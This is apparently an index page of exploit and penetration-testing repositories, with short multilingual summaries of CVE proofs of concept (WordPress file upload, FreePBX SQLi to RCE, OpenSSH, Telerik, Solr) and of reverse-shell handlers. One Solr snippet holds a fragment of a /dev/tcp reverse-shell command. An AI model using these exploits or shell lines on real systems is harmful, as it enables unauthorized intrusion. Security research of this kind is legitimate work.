CVE-2026-1555

CVE-2026-1555 WebStack = 1.2024 - неаутентифицированная произвольная загрузка файлов 👤 Автор: Nxploited 🔗 Nxploited ZeroDay Hub — t.me/KNxploited 💀 CVE-2026-1555 — WebStack WordPress: произвольная загрузка файлов Неаутентифицированное удалённое выполнение кода через AJAX-обработчикimgupload 📌 Обз...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

linux_mint_poc

Уязвимость внедрения команд 'yelp' в Linux Mint 18.3-19.1 Корневая причина Обработчики URI help://, ghelp:// и man:// определены в файле /usr/share/applications/yelp.desktop, который выполняет /usr/local/bin/yelp через Exec=yelp %u всякий раз, когда вызывается один из этих обработчиков URI. Файл...

dp_cryptomg

dpcryptomg Ещё один инструмент для эксплуатации CVE-2017-9248 — криптографической уязвимости в обработчике диалогов Telerik UI for ASP.NET AJAX. Эксплуатация приводит к доступу к утилите управления файлами, способной загружать произвольные файлы, что обычно приводит к удалённому выполнению кода...

CVE-2025-53693

CVE-2025-53693: отравление HTML-кэша Обработчик XAML, расположенный по адресу /-/xaml/, предоставляет несколько элементов управления, к которым можно получить доступ без аутентификации. AjaxScriptManager, находящийся в этих элементах управления, позволяет выполнять методы с помощью рефлексии. Мет...

cve-2025-5054

Outil de détection de vulnérabilité CVE-2025-5054 Un outil Python pour vérifier si votre système Ubuntu est vulnérable à CVE-2025-5054, une condition de course dans Apport qui permet la divulgation d'informations locales. Cet outil effectue une série de vérifications pour déterminer l'état de vot...

CVE-2025-70520

The websocket handler of Fanvil x7a firmware version 2.6.0.1182 does not enforce proper authentication restrictions against sessionless users. The lack of restrictions grants anyone the ability to view any device resources such as operational logs or perform diagnostic requests...

CVE-2025-70517

The request handler of Fanvil x7a firmware version 2.6.0.1182 does not enforce any cross-origin resource protection for any state-changing request performed against the applications. Due to the lack of protection, cross-origin boundary can be completely bypassed, allowing for Cross-Site Request...

CVE-2025-70516

The websocket handler of Fanvil x7a firmware version 2.6.0.1182 does not enforce proper authentication restrictions against sessionless users. The lack of restrictions grants anyone the ability to view any device resources such as operational logs or perform diagnostic requests...

CVE-2026-107181

Telegram Desktop before 7.2.9 contains an IPC record-separator injection vulnerability in Core::Sandbox that allows remote attackers to inject OPEN: records via crafted tg:// links containing unescaped semicolons. Attackers can reach the interpret: scheme handler to upload local files, including...

penelope

Penelope is a modern shell handler for penetration testers and CTF players. It provides a more capable alternative to basic netcat listeners, adding automatic PTY upgrades, session management, logging, file transfers and helper modules. Table of Contents 📥 Installation ⚙️ Features 🖥️ Session...

penelope

Penelope est un gestionnaire de shells moderne pour les testeurs d'intrusion et les joueurs de CTF. Il offre une alternative plus performante aux simples écouteurs netcat, en ajoutant des mises à niveau automatiques vers PTY, la gestion de sessions, la journalisation, les transferts de fichiers e...

CVE-2024-6387

Перепечатано из оригинала CVE-2024-6387 - PoC 📜 Описание Примечание: этот скрипт — быстрый прототип PoC; возможны некоторые ошибки и баги. Протестировано на: Kali Linux, ParrotSec, Ubuntu 22.04 Уязвимость удалённого неаутентифицированного выполнения кода в сервере OpenSSH В сервере OpenSSH sshd...

CVE-2014-0816

CVE-2014-0816 Это эксплойт для CVE-2014-0816 JVNDB-2014-000026: Norman Security Suite уязвим к повышению привилегий. Этот эксплойт запускает CMD.exe с привилегиями SYSTEM из-под привилегий не-администратора, используя уязвимость в обработчике IOCTL драйверов ngs.sys / ngs64.sys. Использование...

CVE-2026-56111

CVE-2026-56111 - Écriture hors limites dans Marlin M421 Preuve de concept pour CVE-2026-56111 , une écriture hors limites dans le gestionnaire de code G M421 du Marlin Firmware lorsqu'il est compilé avec MESHBEDLEVELING. Avis :...

CVE-2019-5096-GoAhead-Web-Server-Dos-Exploit

CVE-2019-5096: Эксплуатация Use-After-Free для DoS python TriggerDOS.py ip Анализ уязвимости https://github.com/embedthis/goahead.git GoAhead githublink git diff патча Анализ ключевого кода В коде находим upload.c:370, видим, что перед wp-currentFile=0 выполняется typedef struct WebsUpload char...

CVE-2025-57819-poc

CVE-2025-57819 — FreePBX: неаутентифицированная SQLi → RCE Одношаговый эксплойт для неаутентифицированной SQL-инъекции в Endpoint Manager FreePBX CVE-2025-57819, объединённой в удалённое выполнение кода через таблицу cronjobs FreePBX. Только для авторизованного тестирования безопасности /...

xxl-job

Неавторизованный доступ к RESTful API исполнителя xxl-job RCE Используя Console журнала выполнения, можно получить результат успешного выполнения команды: Пример: /joblog/logDetailPage?id=xxxx Просмотр переменных окружения JDK String var3 = System.getProperties.toString; System.out.printlnvar3;...

Koi

koi 🎏 &color=rgb\255%2C%20116%2C%200\ This project is my shot at making a fast, easy to use yet feature rich shell handler with a pretty interface. Disclaimer: please note that this is still under development, and I am still working on some of the key features, talked about in this section. 📑 Tab...

CVE-2016-2334

Exploitation de la vulnérabilité CVE-2016-2334 dans 7zip HFS+ hfsGenerator.py Script utilisé pour générer un fichier HFS+ heap.js Script WinDbg js. Après avoir chargé le script, configurez le hook d'allocation de la manière suivante : bp ntdll!RtlAllocateHeap "pt "dx...